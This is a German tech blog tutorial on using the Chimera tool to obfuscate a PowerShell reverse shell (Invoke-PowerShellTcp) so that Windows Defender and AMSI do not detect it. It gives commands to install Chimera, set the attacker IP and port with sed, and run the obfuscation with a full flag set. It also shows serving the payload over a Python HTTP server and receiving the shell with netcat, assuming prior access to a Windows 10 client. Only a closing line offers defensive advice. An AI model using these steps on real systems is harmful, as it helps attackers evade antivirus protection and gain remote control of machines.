Microsoft hat schon länger erkannt, dass neben der Weiterentwicklung der Betriebssysteme und Anwendersoftware die Sicherheit nicht aus den Augen verloren werden darf. Spätestens seit Realisierung von Windows 8 sind rege Aktivitäten der Programmierer in Richtung Malware-Schutz zu verzeichnen.
So ist es nicht verwunderlich, dass neben der anfänglichen Entwicklung von Antivirensoftware im eigenen Hause, der Zukauf von Security-Firmen ein Schub an Fachwissen auf diesem Gebiet erbrachte.
Als Ergebnis wurde zunächst das Gratis-Tool Microsoft Security Essentials (MSE) entwickelt, dass bereits über eine heuristische Erkennung verfügte und damit die ständig wachsende Diversität der Malware erfolgreich begegnete.
Seit Auslieferung von Windows 8 ist der „Windows Defender“ als Standard-Schutzprodukt vorinstalliert und wird ständig weiterentwickelt. Mit der Einführung des Antimalware Scan Interfaces (AMSI) in Windows 10 geht Microsoft diesen Weg konsequent weiter und schafft eine Möglichkeit, die Daten nach Malware-Skripten zu durchsuchen.
Mittlerweile sind auch andere Hersteller von Antivirensoftware in der Lage, diese offene Schnittstelle, beispielsweise zur Analyse von PowerShell-Skripten (ab Version 5), auf Malware zu nutzen.
In diesem Beitrag zeigen wir, wie Sie trotz dieser Schutzfunktion des Windows Defender, Ihre PowerShell Skripte mittels Obfuscation erfolgreich zum Einsatz bringen. Hierbei kommt ein Skript von tokyoneon namens Chimera zum Einsatz.
Wer „Chimera“ im englischen Wörterbuch nachschlägt, der wird die Begriffe „Hirngespinst“ oder „Trugbild“ finden. Jeder wird die Bedeutung ziemlich schnell verstehen, wenn er die originalen PowerShell-Skripte mit dem Output nach der Bearbeitung mit Chimera vergleicht. Das Tool schafft es, den Dateiinhalt durch die Umstellung und zufällige Verknüpfung von Zeichenketten so zu verändern, dass er nicht mehr lesbar ist. Damit lässt sich die eigentliche Absicht des Angreifers verschleiern.
Chimera installieren
Der Entwickler hat seine Software mit dem aktuellen Kali Linux getestet. Die Installation wird mit folgenden Schritten im Verzeichnis /opt/chimera durchgeführt:
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help
Handhabung des Tools
Bevor wir zeigen, wie Sie Chimera in einem Szenario anwenden können, werden wir zunächst einen Blick auf die vielfältigen Optionen werfen.
Der Output lässt sich durch Anwendung der verschiedenen Parameter fast ohne Grenzen verändern. Dabei ist nicht immer gewährleistet, dass der Code nach der Bearbeitung auch noch funktioniert. Um ein zufriedenstellendes Ergebnis zu erlangen, sind hier unter Umständen einige Tests mit verschiedenen Einstellungen notwendig.
Der Entwickler hat in das Unterverzeichnis shells einige Beispiele eingefügt, die er mit seiner Software getestet hat. Wer diese PowerShell-Skripte nutzen möchte, der muss die dort fest eingestellte IP-Adresse und den genutzten Port auf seine Bedingungen anpassen. Wie dabei vorzugehen ist, zeigen wir im nächsten Abschnitt.
Beispielszenario
In dem folgenden Beispiel zeige wir, wie Sie Chimera anwenden. Wir gehen davon aus, dass Sie Zugriff auf einen Windows 10 Client-PC erlangt haben und von dort eine Reverse-Verbindung mittels eines Powershell-Skripts zum Angreifer aufbauen wollen. Um diesen Test unter „Labor-Bedingungen“ durchzuführen, haben wir IP-Adressen aus dem privaten IP-Adressbereich verwendet. Die Verbindung vom Windows-Client (2) zum Angreifer (1) soll über den Port 443 erfolgen.
Der Windows Defender vereitelt aber unser Vorhaben, indem er das hochgeladene PowerShell-Skript als Schadcode erkennt und die Datei sofort vom System entfernt.
In den nächsten Schritten zeigen wir, wie unser Vorhaben aber trotzdem von Erfolg gekrönt werden kann, wenn wir das Skript ausreichend verschleiern.
Schritt 1 – Port und IP-Adresse im Skript anpassen
Wie schon oben beschrieben werden wir mit folgenden Befehlen die Standardparameter in den Beispielskripten ändern. Zuerst wird der Port 4444 durch 443 ersetzt und im zweiten Befehl die IP-Adresse von 192.168.56.101 auf 192.168.171.32 gesetzt. Hier müssen Sie selbstverständlich Ihre Befehle den Erfordernissen anpassen. Beachten Sie außerdem, dass die Änderungen in allen Skripten im Unterverzeichnis shells vorgenommen werden.
sed -i 's/4444/443/g' shells/*.ps1
sed -i 's/192.168.56.101/192.168.171.32/g' shells/*.ps1
Schritt 2 – PowerShell-Skript Obfuscation mit Chimera
Das nachfolgende Kommando benutzt das Skript Invoke-PowerShellTcp.ps1 und legt die veränderte Datei im Verzeichnis /tmp unter dem Namen blueshell.ps1 ab.
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -o /tmp/blueshell.ps1 -g -v -t -j -i -c -h -s -b -e
Diese Shell lässt sich am schnellste auf dem Client-PC übertragen, indem Sie mittels Python einen Webserver starten und die Datei dann mithilfe des Browsers auf dem Windows-PC herunterladen.
Geben Sie dazu folgende Befehle in einer Kali Linux Konsole auf der Seite des Angreifers ein:
cd /tmp
sudo python -m SimpleHTTPServer 80
Auf dem Windows-PC wird die Shell mit einem Klick auf die Datei in das Download-Verzeichnis heruntergeladen:
Schritt 3 – Shell ausführen und Zugriff erlangen
Folgender Befehl in der Windows PowerShell stellt die Verbindung zum Angreifer her. Er ist auf dem Windows-Client auszuführen:
Die Daten werden mittels netcat auf Kali Linux empfangen. Damit ist eine permanente Verbindung über Port 443 hergestellt.
Fazit
Microsoft versucht durch diverse Techniken Schadcode zu erkennen und von den Systemen zu eliminieren. Der Windows Defender und AMSI leisten dazu einen erfolgreichen Beitrag.
Trotzdem bleibt es schwer, in jedem Skript eine potenzielle Gefahr auszumachen. Insbesondere dann, wenn die Angreifer die eben vorgestellten Methoden einsetzen.
Administratoren sind gut beraten, wenn sie die Ausführung von Skripten durch die Nutzer weitgehend unterbinden. Das trifft nicht nur für PowerShell zu.